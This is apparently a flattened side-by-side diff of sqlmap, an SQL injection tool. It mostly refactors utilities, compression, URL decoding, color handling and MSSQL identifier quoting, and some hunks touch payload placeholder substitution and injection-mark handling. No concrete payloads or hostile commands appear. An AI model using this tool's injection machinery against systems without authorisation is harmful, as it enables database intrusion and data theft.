conf.data = urldecode(conf.data) if conf.data and urlencode(DEFAULT_GET_POST_DELIMITER, None) not in conf.data else conf.data conf.data = urldecode(conf.data) if conf.data and urlencode(DEFAULT_GET_POST_DELIMITER, None) not in conf.data else conf.data
else: else:
if targetUrl.find("?") > -1: if '?' in targetUrl:
firstPart = targetUrl[:targetUrl.find("?")] firstPart, secondPart = targetUrl.split('?', 1)
secondPart = targetUrl[targetUrl.find("?") + 1:]
message = "Edit GET data [default: %s]: " % secondPart message = "Edit GET data [default: %s]: " % secondPart
test = readInput(message, default=secondPart) test = readInput(message, default=secondPart)
test = _randomFillBlankFields(test) test = _randomFillBlankFields(test)
@@ -404,8 +406,7 @@ def start():
if conf.nullConnection: if conf.nullConnection:
checkNullConnection() checkNullConnection()
if (len(kb.injections) == 0 or (len(kb.injections) == 1 and kb.injections[0].place is None)) \ if (len(kb.injections) == 0 or (len(kb.injections) == 1 and kb.injections[0].place is None)) and (kb.injection.place is None or kb.injection.parameter is None):
and (kb.injection.place is None or kb.injection.parameter is None):
if not any((conf.string, conf.notString, conf.regexp)) and PAYLOAD.TECHNIQUE.BOOLEAN in conf.tech: if not any((conf.string, conf.notString, conf.regexp)) and PAYLOAD.TECHNIQUE.BOOLEAN in conf.tech:
# NOTE: this is not needed anymore, leaving only to display # NOTE: this is not needed anymore, leaving only to display
+13 -13
View File
@@ -56,19 +56,19 @@ def setHandler():
""" """
items = [ items = [
(DBMS.MYSQL, MYSQL_ALIASES, MySQLMap, MySQLConn), (DBMS.MYSQL, MYSQL_ALIASES, MySQLMap, MySQLConn),
(DBMS.ORACLE, ORACLE_ALIASES, OracleMap, OracleConn), (DBMS.ORACLE, ORACLE_ALIASES, OracleMap, OracleConn),
(DBMS.PGSQL, PGSQL_ALIASES, PostgreSQLMap, PostgreSQLConn), (DBMS.PGSQL, PGSQL_ALIASES, PostgreSQLMap, PostgreSQLConn),
(DBMS.MSSQL, MSSQL_ALIASES, MSSQLServerMap, MSSQLServerConn), (DBMS.MSSQL, MSSQL_ALIASES, MSSQLServerMap, MSSQLServerConn),
(DBMS.SQLITE, SQLITE_ALIASES, SQLiteMap, SQLiteConn), (DBMS.SQLITE, SQLITE_ALIASES, SQLiteMap, SQLiteConn),
(DBMS.ACCESS, ACCESS_ALIASES, AccessMap, AccessConn), (DBMS.ACCESS, ACCESS_ALIASES, AccessMap, AccessConn),
(DBMS.FIREBIRD, FIREBIRD_ALIASES, FirebirdMap, FirebirdConn), (DBMS.FIREBIRD, FIREBIRD_ALIASES, FirebirdMap, FirebirdConn),
(DBMS.MAXDB, MAXDB_ALIASES, MaxDBMap, MaxDBConn), (DBMS.MAXDB, MAXDB_ALIASES, MaxDBMap, MaxDBConn),
(DBMS.SYBASE, SYBASE_ALIASES, SybaseMap, SybaseConn), (DBMS.SYBASE, SYBASE_ALIASES, SybaseMap, SybaseConn),
(DBMS.DB2, DB2_ALIASES, DB2Map, DB2Conn), (DBMS.DB2, DB2_ALIASES, DB2Map, DB2Conn),
(DBMS.HSQLDB, HSQLDB_ALIASES, HSQLDBMap, HSQLDBConn), (DBMS.HSQLDB, HSQLDB_ALIASES, HSQLDBMap, HSQLDBConn),
(DBMS.INFORMIX, INFORMIX_ALIASES, InformixMap, InformixConn), (DBMS.INFORMIX, INFORMIX_ALIASES, InformixMap, InformixConn),
] ]
_ = max(_ if (conf.get("dbms") or Backend.getIdentifiedDbms() or kb.heuristicExtendedDbms or "").lower() in _[1] else None for _ in items) _ = max(_ if (conf.get("dbms") or Backend.getIdentifiedDbms() or kb.heuristicExtendedDbms or "").lower() in _[1] else None for _ in items)
if _: if _:
+14 -10
View File
@@ -121,8 +121,8 @@ class Agent(object):
origValue = _.split('=', 1)[1] if '=' in _ else "" origValue = _.split('=', 1)[1] if '=' in _ else ""
elif place == PLACE.CUSTOM_HEADER: elif place == PLACE.CUSTOM_HEADER:
paramString = origValue paramString = origValue
origValue = origValue.split(kb.customInjectionMark)[0]
origValue = origValue[origValue.find(',') + 1:] origValue = origValue[origValue.find(',') + 1:]
origValue = origValue.split(kb.customInjectionMark)[0]
match = re.search(r"([^;]+)=(?P<value>[^;]*);?\Z", origValue) match = re.search(r"([^;]+)=(?P<value>[^;]*);?\Z", origValue)
if match: if match:
origValue = match.group("value") origValue = match.group("value")
@@ -294,17 +294,21 @@ class Agent(object):
if payload is None: if payload is None:
return return
_ = ( replacements = (
("[DELIMITER_START]", kb.chars.start), ("[DELIMITER_STOP]", kb.chars.stop),\ ("[DELIMITER_START]", kb.chars.start),
("[AT_REPLACE]", kb.chars.at), ("[SPACE_REPLACE]", kb.chars.space), ("[DOLLAR_REPLACE]", kb.chars.dollar),\ ("[DELIMITER_STOP]", kb.chars.stop),
("[HASH_REPLACE]", kb.chars.hash_), ("[GENERIC_SQL_COMMENT]", GENERIC_SQL_COMMENT) ("[AT_REPLACE]", kb.chars.at),
) ("[SPACE_REPLACE]", kb.chars.space),
payload = reduce(lambda x, y: x.replace(y[0], y[1]), _, payload) ("[DOLLAR_REPLACE]", kb.chars.dollar),
("[HASH_REPLACE]", kb.chars.hash_),
("[GENERIC_SQL_COMMENT]", GENERIC_SQL_COMMENT)
)
payload = reduce(lambda x, y: x.replace(y[0], y[1]), replacements, payload)
for _ in set(re.findall(r"\[RANDNUM(?:\d+)?\]", payload, re.I)): for _ in set(re.findall(r"(?i)\[RANDNUM(?:\d+)?\]", payload)):
payload = payload.replace(_, str(randomInt())) payload = payload.replace(_, str(randomInt()))
for _ in set(re.findall(r"\[RANDSTR(?:\d+)?\]", payload, re.I)): for _ in set(re.findall(r"(?i)\[RANDSTR(?:\d+)?\]", payload)):
payload = payload.replace(_, randomStr()) payload = payload.replace(_, randomStr())
if origValue is not None and "[ORIGVALUE]" in payload: if origValue is not None and "[ORIGVALUE]" in payload:
@@ -928,7 +932,7 @@ class Agent(object):
limitedQuery += " %s" % limitStr limitedQuery += " %s" % limitStr
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
if not " ORDER BY " in limitedQuery: if " ORDER BY " not in limitedQuery:
limitStr = limitStr.replace(") WHERE LIMIT", " ORDER BY 1 ASC) WHERE LIMIT") limitStr = limitStr.replace(") WHERE LIMIT", " ORDER BY 1 ASC) WHERE LIMIT")
elif " ORDER BY " in limitedQuery and "SELECT " in limitedQuery: elif " ORDER BY " in limitedQuery and "SELECT " in limitedQuery:
limitedQuery = limitedQuery[:limitedQuery.index(" ORDER BY ")] limitedQuery = limitedQuery[:limitedQuery.index(" ORDER BY ")]
+9 -9
View File
@@ -6,15 +6,15 @@ See the file 'LICENSE' for copying permission
""" """
try: try:
import cPickle as pickle import cPickle as pickle
except: except:
import pickle import pickle
import bz2
import itertools import itertools
import os import os
import sys import sys
import tempfile import tempfile
import zlib
from lib.core.enums import MKSTEMP_PREFIX from lib.core.enums import MKSTEMP_PREFIX
from lib.core.exception import SqlmapSystemException from lib.core.exception import SqlmapSystemException
@@ -86,11 +86,11 @@ class BigArray(list):
self.chunks.pop() self.chunks.pop()
try: try:
with open(self.chunks[-1], "rb") as f: with open(self.chunks[-1], "rb") as f:
self.chunks[-1] = pickle.loads(zlib.decompress(f.read())) self.chunks[-1] = pickle.loads(bz2.decompress(f.read()))
except IOError, ex: except IOError, ex:
errMsg = "exception occurred while retrieving data " errMsg = "exception occurred while retrieving data "
errMsg += "from a temporary file ('%s')" % ex.message errMsg += "from a temporary file ('%s')" % ex.message
raise SqlmapSystemException, errMsg raise SqlmapSystemException(errMsg)
return self.chunks[-1].pop() return self.chunks[-1].pop()
@@ -107,7 +107,7 @@ class BigArray(list):
self.filenames.add(filename) self.filenames.add(filename)
os.close(handle) os.close(handle)
with open(filename, "w+b") as f: with open(filename, "w+b") as f:
f.write(zlib.compress(pickle.dumps(chunk, pickle.HIGHEST_PROTOCOL), BIGARRAY_COMPRESS_LEVEL)) f.write(bz2.compress(pickle.dumps(chunk, pickle.HIGHEST_PROTOCOL), BIGARRAY_COMPRESS_LEVEL))
return filename return filename
except (OSError, IOError), ex: except (OSError, IOError), ex:
errMsg = "exception occurred while storing data " errMsg = "exception occurred while storing data "
@@ -115,7 +115,7 @@ class BigArray(list):
errMsg += "make sure that there is enough disk space left. If problem persists, " errMsg += "make sure that there is enough disk space left. If problem persists, "
errMsg += "try to set environment variable 'TEMP' to a location " errMsg += "try to set environment variable 'TEMP' to a location "
errMsg += "writeable by the current user" errMsg += "writeable by the current user"
raise SqlmapSystemException, errMsg raise SqlmapSystemException(errMsg)
def _checkcache(self, index): def _checkcache(self, index):
if (self.cache and self.cache.index != index and self.cache.dirty): if (self.cache and self.cache.index != index and self.cache.dirty):
@@ -125,11 +125,11 @@ class BigArray(list):
if not (self.cache and self.cache.index == index): if not (self.cache and self.cache.index == index):
try: try:
with open(self.chunks[index], "rb") as f: with open(self.chunks[index], "rb") as f:
self.cache = Cache(index, pickle.loads(zlib.decompress(f.read())), False) self.cache = Cache(index, pickle.loads(bz2.decompress(f.read())), False)
except IOError, ex: except IOError, ex:
errMsg = "exception occurred while retrieving data " errMsg = "exception occurred while retrieving data "
errMsg += "from a temporary file ('%s')" % ex.message errMsg += "from a temporary file ('%s')" % ex.message
raise SqlmapSystemException, errMsg raise SqlmapSystemException(errMsg)
def __getstate__(self): def __getstate__(self):
return self.chunks, self.filenames return self.chunks, self.filenames
+72 -47
View File
@@ -19,6 +19,7 @@ import locale
import logging import logging
import ntpath import ntpath
import os import os
import platform
import posixpath import posixpath
import random import random
import re import re
@@ -74,6 +75,7 @@ from lib.core.enums import EXPECTED
from lib.core.enums import HEURISTIC_TEST from lib.core.enums import HEURISTIC_TEST
from lib.core.enums import HTTP_HEADER from lib.core.enums import HTTP_HEADER
from lib.core.enums import HTTPMETHOD from lib.core.enums import HTTPMETHOD
from lib.core.enums import LOGGING_LEVELS
from lib.core.enums import MKSTEMP_PREFIX from lib.core.enums import MKSTEMP_PREFIX
from lib.core.enums import OPTION_TYPE from lib.core.enums import OPTION_TYPE
from lib.core.enums import OS from lib.core.enums import OS
@@ -594,9 +596,7 @@ def paramToDict(place, parameters=None):
testableParameters[parameter] = "=".join(parts[1:]) testableParameters[parameter] = "=".join(parts[1:])
if not conf.multipleTargets and not (conf.csrfToken and parameter == conf.csrfToken): if not conf.multipleTargets and not (conf.csrfToken and parameter == conf.csrfToken):
_ = urldecode(testableParameters[parameter], convall=True) _ = urldecode(testableParameters[parameter], convall=True)
if (_.endswith("'") and _.count("'") == 1 if (_.endswith("'") and _.count("'") == 1 or re.search(r'\A9{3,}', _) or re.search(r'\A-\d+\Z', _) or re.search(DUMMY_USER_INJECTION, _)) and not parameter.upper().startswith(GOOGLE_ANALYTICS_COOKIE_PREFIX):
or re.search(r'\A9{3,}', _) or re.search(r'\A-\d+\Z', _) or re.search(DUMMY_USER_INJECTION, _))\
and not parameter.upper().startswith(GOOGLE_ANALYTICS_COOKIE_PREFIX):
warnMsg = "it appears that you have provided tainted parameter values " warnMsg = "it appears that you have provided tainted parameter values "
warnMsg += "('%s') with most likely leftover " % element warnMsg += "('%s') with most likely leftover " % element
warnMsg += "chars/statements from manual SQL injection test(s). " warnMsg += "chars/statements from manual SQL injection test(s). "
@@ -649,7 +649,7 @@ def paramToDict(place, parameters=None):
message = "it appears that provided value for %s parameter '%s' " % (place, parameter) message = "it appears that provided value for %s parameter '%s' " % (place, parameter)
message += "is JSON deserializable. Do you want to inject inside? [y/N] " message += "is JSON deserializable. Do you want to inject inside? [y/N] "
if not readInput(message, default='N', boolean=True): if readInput(message, default='N', boolean=True):
del testableParameters[parameter] del testableParameters[parameter]
testableParameters.update(candidates) testableParameters.update(candidates)
break break
@@ -868,7 +868,10 @@ def boldifyMessage(message):
def setColor(message, bold=False): def setColor(message, bold=False):
retVal = message retVal = message
level = extractRegexResult(r"\[(?P<result>[A-Z ]+)\]", message) or kb.get("stickyLevel") level = extractRegexResult(r"\[(?P<result>%s)\]" % '|'.join(_[0] for _ in getPublicTypeMembers(LOGGING_LEVELS)), message) or kb.get("stickyLevel")
if isinstance(level, unicode):
level = unicodeencode(level)
if message and getattr(LOGGER_HANDLER, "is_tty", False): # colorizing handler if message and getattr(LOGGER_HANDLER, "is_tty", False): # colorizing handler
if bold: if bold:
@@ -884,6 +887,21 @@ def setColor(message, bold=False):
return retVal return retVal
def clearColors(message):
"""
Clears ANSI color codes
>>> clearColors("\x1b[38;5;82mHello \x1b[38;5;198mWorld")
'Hello World'
"""
retVal = message
if message:
retVal = re.sub(r"\x1b\[[\d;]+m", "", message)
return retVal
def dataToStdout(data, forceOutput=False, bold=False, content_type=None, status=CONTENT_STATUS.IN_PROGRESS): def dataToStdout(data, forceOutput=False, bold=False, content_type=None, status=CONTENT_STATUS.IN_PROGRESS):
""" """
Writes text to the stdout (console) stream Writes text to the stdout (console) stream
@@ -892,7 +910,7 @@ def dataToStdout(data, forceOutput=False, bold=False, content_type=None, status=
message = "" message = ""
if not kb.get("threadException"): if not kb.get("threadException"):
if forceOutput or not getCurrentThreadData().disableStdOut: if forceOutput or not (getCurrentThreadData().disableStdOut or kb.get("wizardMode")):
if kb.get("multiThreadMode"): if kb.get("multiThreadMode"):
logging._acquireLock() logging._acquireLock()
@@ -998,7 +1016,7 @@ def readInput(message, default=None, checkBatch=True, boolean=False):
retVal = "%s,%s" % (retVal, getUnicode(item, UNICODE_ENCODING)) retVal = "%s,%s" % (retVal, getUnicode(item, UNICODE_ENCODING))
if retVal: if retVal:
dataToStdout("\r%s%s\n" % (message, retVal), forceOutput=True, bold=True) dataToStdout("\r%s%s\n" % (message, retVal), forceOutput=not kb.wizardMode, bold=True)
debugMsg = "used the given answer" debugMsg = "used the given answer"
logger.debug(debugMsg) logger.debug(debugMsg)
@@ -1012,7 +1030,7 @@ def readInput(message, default=None, checkBatch=True, boolean=False):
else: else:
options = unicode() options = unicode()
dataToStdout("\r%s%s\n" % (message, options), forceOutput=True, bold=True) dataToStdout("\r%s%s\n" % (message, options), forceOutput=not kb.wizardMode, bold=True)
debugMsg = "used the default behavior, running in batch mode" debugMsg = "used the default behavior, running in batch mode"
logger.debug(debugMsg) logger.debug(debugMsg)
@@ -1025,7 +1043,7 @@ def readInput(message, default=None, checkBatch=True, boolean=False):
if conf.get("beep"): if conf.get("beep"):
beep() beep()
dataToStdout("\r%s" % message, forceOutput=True, bold=True) dataToStdout("\r%s" % message, forceOutput=not kb.wizardMode, bold=True)
kb.prependFlag = False kb.prependFlag = False
retVal = raw_input().strip() or default retVal = raw_input().strip() or default
@@ -1173,7 +1191,7 @@ def banner():
_ = BANNER _ = BANNER
if not getattr(LOGGER_HANDLER, "is_tty", False) or "--disable-coloring" in sys.argv: if not getattr(LOGGER_HANDLER, "is_tty", False) or "--disable-coloring" in sys.argv:
_ = re.sub("\033.+?m", "", _) _ = clearColors(_)
elif IS_WIN: elif IS_WIN:
coloramainit() coloramainit()
@@ -1351,7 +1369,7 @@ def parseTargetDirect():
raise SqlmapSyntaxException(errMsg) raise SqlmapSyntaxException(errMsg)
if dbmsName in (DBMS.MSSQL, DBMS.SYBASE): if dbmsName in (DBMS.MSSQL, DBMS.SYBASE):
import _mssql __import__("_mssql")
import pymssql import pymssql
if not hasattr(pymssql, "__version__") or pymssql.__version__ < "1.0.2": if not hasattr(pymssql, "__version__") or pymssql.__version__ < "1.0.2":
@@ -1361,17 +1379,17 @@ def parseTargetDirect():
raise SqlmapMissingDependence(errMsg) raise SqlmapMissingDependence(errMsg)
elif dbmsName == DBMS.MYSQL: elif dbmsName == DBMS.MYSQL:
import pymysql __import__("pymysql")
elif dbmsName == DBMS.PGSQL: elif dbmsName == DBMS.PGSQL:
import psycopg2 __import__("psycopg2")
elif dbmsName == DBMS.ORACLE: elif dbmsName == DBMS.ORACLE:
import cx_Oracle __import__("cx_Oracle")
elif dbmsName == DBMS.SQLITE: elif dbmsName == DBMS.SQLITE:
import sqlite3 __import__("sqlite3")
elif dbmsName == DBMS.ACCESS: elif dbmsName == DBMS.ACCESS:
import pyodbc __import__("pyodbc")
elif dbmsName == DBMS.FIREBIRD: elif dbmsName == DBMS.FIREBIRD:
import kinterbasdb __import__("kinterbasdb")
except: except:
if _sqlalchemy and data[3] in _sqlalchemy.dialects.__all__: if _sqlalchemy and data[3] in _sqlalchemy.dialects.__all__:
pass pass
@@ -1399,10 +1417,10 @@ def parseTargetUrl():
raise SqlmapGenericException(errMsg) raise SqlmapGenericException(errMsg)
if not re.search(r"^http[s]*://", conf.url, re.I) and not re.search(r"^ws[s]*://", conf.url, re.I): if not re.search(r"^http[s]*://", conf.url, re.I) and not re.search(r"^ws[s]*://", conf.url, re.I):
if ":443/" in conf.url: if re.search(r":443\b", conf.url):
conf.url = "https://" + conf.url conf.url = "https://%s" % conf.url
else: else:
conf.url = "http://" + conf.url conf.url = "http://%s" % conf.url
if kb.customInjectionMark in conf.url: if kb.customInjectionMark in conf.url:
conf.url = conf.url.replace('?', URI_QUESTION_MARKER) conf.url = conf.url.replace('?', URI_QUESTION_MARKER)
@@ -1425,13 +1443,14 @@ def parseTargetUrl():
conf.hostname = conf.hostname.strip("[]").replace(kb.customInjectionMark, "") conf.hostname = conf.hostname.strip("[]").replace(kb.customInjectionMark, "")
try: try:
_ = conf.hostname.encode("idna") conf.hostname.encode("idna")
except LookupError: conf.hostname.encode(UNICODE_ENCODING)
_ = conf.hostname.encode(UNICODE_ENCODING) except (LookupError, UnicodeError):
except UnicodeError: invalid = True
_ = None else:
invalid = False
if any((_ is None, re.search(r"\s", conf.hostname), '..' in conf.hostname, conf.hostname.startswith('.'), '\n' in originalUrl)): if any((invalid, re.search(r"\s", conf.hostname), '..' in conf.hostname, conf.hostname.startswith('.'), '\n' in originalUrl)):
errMsg = "invalid target URL ('%s')" % originalUrl errMsg = "invalid target URL ('%s')" % originalUrl
raise SqlmapSyntaxException(errMsg) raise SqlmapSyntaxException(errMsg)
@@ -1985,7 +2004,7 @@ def parseXmlFile(xmlFile, handler):
errMsg = "something appears to be wrong with " errMsg = "something appears to be wrong with "
errMsg += "the file '%s' ('%s'). Please make " % (xmlFile, getSafeExString(ex)) errMsg += "the file '%s' ('%s'). Please make " % (xmlFile, getSafeExString(ex))
errMsg += "sure that you haven't made any changes to it" errMsg += "sure that you haven't made any changes to it"
raise SqlmapInstallationException, errMsg raise SqlmapInstallationException(errMsg)
def getSQLSnippet(dbms, sfile, **variables): def getSQLSnippet(dbms, sfile, **variables):
""" """
@@ -2516,7 +2535,7 @@ def findMultipartPostBoundary(post):
return retVal return retVal
def urldecode(value, encoding=None, unsafe="%%&=;+%s" % CUSTOM_INJECTION_MARK_CHAR, convall=False, plusspace=True): def urldecode(value, encoding=None, unsafe="%%&=;+%s" % CUSTOM_INJECTION_MARK_CHAR, convall=False, spaceplus=True):
""" """
URL decodes given value URL decodes given value
@@ -2534,14 +2553,14 @@ def urldecode(value, encoding=None, unsafe="%%&=;+%s" % CUSTOM_INJECTION_MARK_CH
pass pass
finally: finally:
if convall: if convall:
result = urllib.unquote_plus(value) if plusspace else urllib.unquote(value) result = urllib.unquote_plus(value) if spaceplus else urllib.unquote(value)
else: else:
def _(match): def _(match):
charset = reduce(lambda x, y: x.replace(y, ""), unsafe, string.printable) charset = reduce(lambda x, y: x.replace(y, ""), unsafe, string.printable)
char = chr(ord(match.group(1).decode("hex"))) char = chr(ord(match.group(1).decode("hex")))
return char if char in charset else match.group(0) return char if char in charset else match.group(0)
result = value result = value
if plusspace: if spaceplus:
result = result.replace('+', ' ') # plus sign has a special meaning in URL encoded data (hence the usage of urllib.unquote_plus in convall case) result = result.replace('+', ' ') # plus sign has a special meaning in URL encoded data (hence the usage of urllib.unquote_plus in convall case)
result = re.sub(r"%([0-9a-fA-F]{2})", _, result) result = re.sub(r"%([0-9a-fA-F]{2})", _, result)
@@ -2643,7 +2662,7 @@ def logHTTPTraffic(requestLogMsg, responseLogMsg, startTime=None, endTime=None):
dataToTrafficFile("%s%s" % (responseLogMsg, os.linesep)) dataToTrafficFile("%s%s" % (responseLogMsg, os.linesep))
dataToTrafficFile("%s%s%s%s" % (os.linesep, 76 * '#', os.linesep, os.linesep)) dataToTrafficFile("%s%s%s%s" % (os.linesep, 76 * '#', os.linesep, os.linesep))
def getPageTemplate(payload, place): # Cross-linked function def getPageTemplate(payload, place): # Cross-referenced function
raise NotImplementedError raise NotImplementedError
@cachedmethod @cachedmethod
@@ -2976,7 +2995,7 @@ def setOptimize():
Sets options turned on by switch '-o' Sets options turned on by switch '-o'
""" """
#conf.predictOutput = True # conf.predictOutput = True
conf.keepAlive = True conf.keepAlive = True
conf.threads = 3 if conf.threads < 3 else conf.threads conf.threads = 3 if conf.threads < 3 else conf.threads
conf.nullConnection = not any((conf.data, conf.textOnly, conf.titles, conf.string, conf.notString, conf.regexp, conf.tor)) conf.nullConnection = not any((conf.data, conf.textOnly, conf.titles, conf.string, conf.notString, conf.regexp, conf.tor))
@@ -3180,9 +3199,7 @@ def showHttpErrorCodes():
if kb.httpErrorCodes: if kb.httpErrorCodes:
warnMsg = "HTTP error codes detected during run:\n" warnMsg = "HTTP error codes detected during run:\n"
warnMsg += ", ".join("%d (%s) - %d times" % (code, httplib.responses[code] \ warnMsg += ", ".join("%d (%s) - %d times" % (code, httplib.responses[code] if code in httplib.responses else '?', count) for code, count in kb.httpErrorCodes.items())
if code in httplib.responses else '?', count) \
for code, count in kb.httpErrorCodes.items())
logger.warn(warnMsg) logger.warn(warnMsg)
if any((str(_).startswith('4') or str(_).startswith('5')) and _ != httplib.INTERNAL_SERVER_ERROR and _ != kb.originalCode for _ in kb.httpErrorCodes.keys()): if any((str(_).startswith('4') or str(_).startswith('5')) and _ != httplib.INTERNAL_SERVER_ERROR and _ != kb.originalCode for _ in kb.httpErrorCodes.keys()):
msg = "too many 4xx and/or 5xx HTTP error codes " msg = "too many 4xx and/or 5xx HTTP error codes "
@@ -3198,8 +3215,7 @@ def openFile(filename, mode='r', encoding=UNICODE_ENCODING, errors="replace", bu
return codecs.open(filename, mode, encoding, errors, buffering) return codecs.open(filename, mode, encoding, errors, buffering)
except IOError: except IOError:
errMsg = "there has been a file opening error for filename '%s'. " % filename errMsg = "there has been a file opening error for filename '%s'. " % filename
errMsg += "Please check %s permissions on a file " % ("write" if \ errMsg += "Please check %s permissions on a file " % ("write" if mode and ('w' in mode or 'a' in mode or '+' in mode) else "read")
mode and ('w' in mode or 'a' in mode or '+' in mode) else "read")
errMsg += "and that it's not locked by another process." errMsg += "and that it's not locked by another process."
raise SqlmapSystemException(errMsg) raise SqlmapSystemException(errMsg)
@@ -3287,9 +3303,9 @@ def unhandledExceptionMessage():
errMsg += "reproduce the bug. The " errMsg += "reproduce the bug. The "
errMsg += "developers will try to reproduce the bug, fix it accordingly " errMsg += "developers will try to reproduce the bug, fix it accordingly "
errMsg += "and get back to you\n" errMsg += "and get back to you\n"
errMsg += "sqlmap version: %s\n" % VERSION_STRING[VERSION_STRING.find('/') + 1:] errMsg += "Running version: %s\n" % VERSION_STRING[VERSION_STRING.find('/') + 1:]
errMsg += "Python version: %s\n" % PYVERSION errMsg += "Python version: %s\n" % PYVERSION
errMsg += "Operating system: %s\n" % PLATFORM errMsg += "Operating system: %s\n" % platform.platform()
errMsg += "Command line: %s\n" % re.sub(r".+?\bsqlmap\.py\b", "sqlmap.py", getUnicode(" ".join(sys.argv), encoding=sys.stdin.encoding)) errMsg += "Command line: %s\n" % re.sub(r".+?\bsqlmap\.py\b", "sqlmap.py", getUnicode(" ".join(sys.argv), encoding=sys.stdin.encoding))
errMsg += "Technique: %s\n" % (enumValueToNameLookup(PAYLOAD.TECHNIQUE, kb.technique) if kb.get("technique") else ("DIRECT" if conf.get("direct") else None)) errMsg += "Technique: %s\n" % (enumValueToNameLookup(PAYLOAD.TECHNIQUE, kb.technique) if kb.get("technique") else ("DIRECT" if conf.get("direct") else None))
errMsg += "Back-end DBMS:" errMsg += "Back-end DBMS:"
@@ -3562,7 +3578,7 @@ def safeSQLIdentificatorNaming(name, isTable=False):
_ = isTable and Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE) _ = isTable and Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE)
if _: if _:
retVal = re.sub(r"(?i)\A\[?%s\]?\." % DEFAULT_MSSQL_SCHEMA, "", retVal) retVal = re.sub(r"(?i)\A\[?%s\]?\." % DEFAULT_MSSQL_SCHEMA, "%s." % DEFAULT_MSSQL_SCHEMA, retVal)
if retVal.upper() in kb.keywords or (retVal or " ")[0].isdigit() or not re.match(r"\A[A-Za-z0-9_@%s\$]+\Z" % ('.' if _ else ""), retVal): # MsSQL is the only DBMS where we automatically prepend schema to table name (dot is normal) if retVal.upper() in kb.keywords or (retVal or " ")[0].isdigit() or not re.match(r"\A[A-Za-z0-9_@%s\$]+\Z" % ('.' if _ else ""), retVal): # MsSQL is the only DBMS where we automatically prepend schema to table name (dot is normal)
retVal = unsafeSQLIdentificatorNaming(retVal) retVal = unsafeSQLIdentificatorNaming(retVal)
@@ -3573,8 +3589,12 @@ def safeSQLIdentificatorNaming(name, isTable=False):
retVal = "\"%s\"" % retVal retVal = "\"%s\"" % retVal
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE,): elif Backend.getIdentifiedDbms() in (DBMS.ORACLE,):
retVal = "\"%s\"" % retVal.upper() retVal = "\"%s\"" % retVal.upper()
elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE) and ((retVal or " ")[0].isdigit() or not re.match(r"\A\w+\Z", retVal, re.U)): elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
retVal = "[%s]" % retVal parts = retVal.split('.', 1)
for i in xrange(len(parts)):
if ((parts[i] or " ")[0].isdigit() or not re.match(r"\A\w+\Z", parts[i], re.U)):
parts[i] = "[%s]" % parts[i]
retVal = '.'.join(parts)
if _ and DEFAULT_MSSQL_SCHEMA not in retVal and '.' not in re.sub(r"\[[^]]+\]", "", retVal): if _ and DEFAULT_MSSQL_SCHEMA not in retVal and '.' not in re.sub(r"\[[^]]+\]", "", retVal):
retVal = "%s.%s" % (DEFAULT_MSSQL_SCHEMA, retVal) retVal = "%s.%s" % (DEFAULT_MSSQL_SCHEMA, retVal)
@@ -3908,6 +3928,9 @@ def isAdminFromPrivileges(privileges):
def findPageForms(content, url, raise_=False, addToTargets=False): def findPageForms(content, url, raise_=False, addToTargets=False):
""" """
Parses given page content for possible forms Parses given page content for possible forms
>>> findPageForms('<html><form action="/input.php" method="POST"><input type="text" name="id" value="1"><input type="submit" value="Submit"></form></html>', '')
set([(u'/input.php', 'POST', u'id=1', None, None)])
""" """
class _(StringIO): class _(StringIO):
@@ -3930,8 +3953,6 @@ def findPageForms(content, url, raise_=False, addToTargets=False):
try: try:
forms = ParseResponse(response, backwards_compat=False) forms = ParseResponse(response, backwards_compat=False)
except (UnicodeError, ValueError):
pass
except ParseError: except ParseError:
if re.search(r"(?i)<!DOCTYPE html|<html", content or ""): if re.search(r"(?i)<!DOCTYPE html|<html", content or ""):
warnMsg = "badly formed HTML at the given URL ('%s'). Going to filter it" % url warnMsg = "badly formed HTML at the given URL ('%s'). Going to filter it" % url
@@ -3947,6 +3968,8 @@ def findPageForms(content, url, raise_=False, addToTargets=False):
raise SqlmapGenericException(errMsg) raise SqlmapGenericException(errMsg)
else: else:
logger.debug(errMsg) logger.debug(errMsg)
except:
pass
if forms: if forms:
for form in forms: for form in forms:
@@ -3977,7 +4000,7 @@ def findPageForms(content, url, raise_=False, addToTargets=False):
url = urldecode(request.get_full_url(), kb.pageEncoding) url = urldecode(request.get_full_url(), kb.pageEncoding)
method = request.get_method() method = request.get_method()
data = request.get_data() if request.has_data() else None data = request.get_data() if request.has_data() else None
data = urldecode(data, kb.pageEncoding, plusspace=False) data = urldecode(data, kb.pageEncoding, spaceplus=False)
if not data and method and method.upper() == HTTPMETHOD.POST: if not data and method and method.upper() == HTTPMETHOD.POST:
debugMsg = "invalid POST form with blank data detected" debugMsg = "invalid POST form with blank data detected"
@@ -4186,7 +4209,7 @@ def decodeHexValue(value, raw=False):
except UnicodeDecodeError: except UnicodeDecodeError:
pass pass
if not isinstance(retVal, unicode): if not isinstance(retVal, unicode):
retVal = getUnicode(retVal, "utf8") retVal = getUnicode(retVal, conf.encoding or "utf8")
return retVal return retVal
@@ -4328,7 +4351,9 @@ def prioritySortColumns(columns):
['userid', 'name', 'password'] ['userid', 'name', 'password']
""" """
_ = lambda x: x and "id" in x.lower() def _(column):
return column and "id" in column.lower()
return sorted(sorted(columns, key=len), lambda x, y: -1 if _(x) and not _(y) else 1 if not _(x) and _(y) else 0) return sorted(sorted(columns, key=len), lambda x, y: -1 if _(x) and not _(y) else 1 if not _(x) and _(y) else 0)
def getRequestHeader(request, name): def getRequestHeader(request, name):
+3 -3
View File
@@ -80,7 +80,7 @@ def base64unpickle(value, unsafe=False):
if len(self.stack) > 1: if len(self.stack) > 1:
func = self.stack[-2] func = self.stack[-2]
if func not in PICKLE_REDUCE_WHITELIST: if func not in PICKLE_REDUCE_WHITELIST:
raise Exception, "abusing reduce() is bad, Mkay!" raise Exception("abusing reduce() is bad, Mkay!")
self.load_reduce() self.load_reduce()
def loads(str): def loads(str):
@@ -94,7 +94,7 @@ def base64unpickle(value, unsafe=False):
try: try:
retVal = loads(base64decode(value)) retVal = loads(base64decode(value))
except TypeError: except TypeError:
retVal = loads(base64decode(bytes(value))) retVal = loads(base64decode(bytes(value)))
return retVal return retVal
@@ -174,7 +174,7 @@ def htmlunescape(value):
pass pass
return retVal return retVal
